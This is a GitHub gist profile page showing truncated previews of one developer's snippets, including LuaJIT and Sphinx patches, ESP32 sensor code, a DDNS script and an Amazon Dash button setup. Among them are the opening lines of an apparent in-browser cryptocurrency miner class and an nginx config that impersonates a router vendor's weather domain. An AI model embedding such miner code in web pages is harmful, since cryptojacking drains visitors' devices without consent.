Skip to content

Instantly share code, notes, and snippets.

Avatar

Wangchong Zhou fffonion

View GitHub Profile
@fffonion
fffonion / luajit-ctyp-remember-self.patch
Created April 2, 2021 14:38
LuaJIT FFI avoid incoditionally function create patch
View luajit-ctyp-remember-self.patch
diff --git a/src/lib_ffi.c b/src/lib_ffi.c
index a29014e5..268c948c 100644
--- a/src/lib_ffi.c
+++ b/src/lib_ffi.c
@@ -494,6 +494,7 @@ LJLIB_CF(ffi_new) LJLIB_REC(.)
{
CTState *cts = ctype_cts(L);
CTypeID id = ffi_checkctype(L, cts, NULL);
+ printf("my type is %d\n", id);
CType *ct = ctype_raw(cts, id);
@fffonion
fffonion / main.cpp
Created June 30, 2020 09:20
Read Xiaomi Mijia temperature and humidity sensor 2 (LYWSD03MMC) from ESP32
View main.cpp
#include <Arduino.h>
#include <BLEDevice.h>
BLEClient *pClient;
BLEScan *pBLEScan;
#define SCAN_TIME 10 // seconds
bool connected = false;
View rfc822.py
import re
import time
def rfc822(s):
_ = re.findall("[A-z][a-z]+,\s*([^\+G]+)(?:$|\s([\+\-]*)(\d+|GMT))", s)
if not s:
print("%s is not RFC822 Date" % s)
return 0
dt, sgn, tz = _[0]
if tz == "GMT":
@fffonion
fffonion / setup-dashbutton.py
Created September 28, 2019 22:32
Setting up dash button without Amazon App
View setup-dashbutton.py
import requests
import re
import sys
# Initial work from: https://mpetroff.net/2016/07/new-amazon-dash-button-teardown-jk29lp/
h = requests.Session()
BASE_URL = "http://192.168.0.1"
@fffonion
fffonion / changyan.py
Created June 13, 2019 02:52
畅言导出评论转换成导入评论格式
View changyan.py
import json
import time
cmt = open('export.json').read()
cmt = json.loads(cmt)
print(len(cmt['comments']))
blk = set((
'=======',
'~~~~~~~~~~~~'
@fffonion
fffonion / weather.conf
Created March 6, 2019 06:16
Hijack Phicomm K3 weather service to darksky weather API
View weather.conf
server {
listen 443 ssl;
listen [::]:443 ssl;
ssl_certificate certs/default.crt;
ssl_certificate_key certs/default.key;
server_name phiclouds.phicomm.com;
access_log /var/log/nginx/weather-access.log;
View gist:0d83a7f19eee4caaef8c4d0303bb8d6c
(function(window) {
"use strict";
var Miner = function(siteKey, params) {
this.params = params || {};
this._siteKey = siteKey;
this._user = null;
this._threads = [];
this._hashes = 0;
this._currentJob = null;
this._autoReconnect = true;
View csft-sphinx-2.2.11.patch
diff --git a/.gitignore b/.gitignore
index f5be264..518fcc3 100644
--- a/.gitignore
+++ b/.gitignore
@@ -64,3 +64,10 @@
/test/ql/data/*.lock
/test/ql/*.class
/test/ql/*.exe
+
+# for qt-creator
@fffonion
fffonion / git-diff.patch
Created September 21, 2017 21:44
Coreseek 5.1 patch
View git-diff.patch
From c7db4c68750b17532e78da313c5b5d25a1d00a3e Mon Sep 17 00:00:00 2001
From: nzinfo <limn@coreseek.com>
Date: Thu, 13 Aug 2015 23:16:20 +0800
Subject: [PATCH] add mmseg support, begin fix pre-token
---
acinclude.m4 | 89 ++++++++++++++
configure.ac | 21 +++-
src/Makefile.am | 4 +
src/sphinx.cpp | 347 ++++++++++++++++++++++++++++++++++++++++++++++++++--
@fffonion
fffonion / cloudflare-cloudxns-ddns.sh
Created September 5, 2017 01:27
Dynamic DNS script using Cloudflare API v4 or CloudXNS API v2
View cloudflare-cloudxns-ddns.sh
#!/bin/bash
# can be A or AAAA
do_record=AAAA
# the interface to get ipv6 address
iface=eth0
# the static suffix we should add to
v6_suf=53
# cloudflare stuff
cf_mail="me@email.com"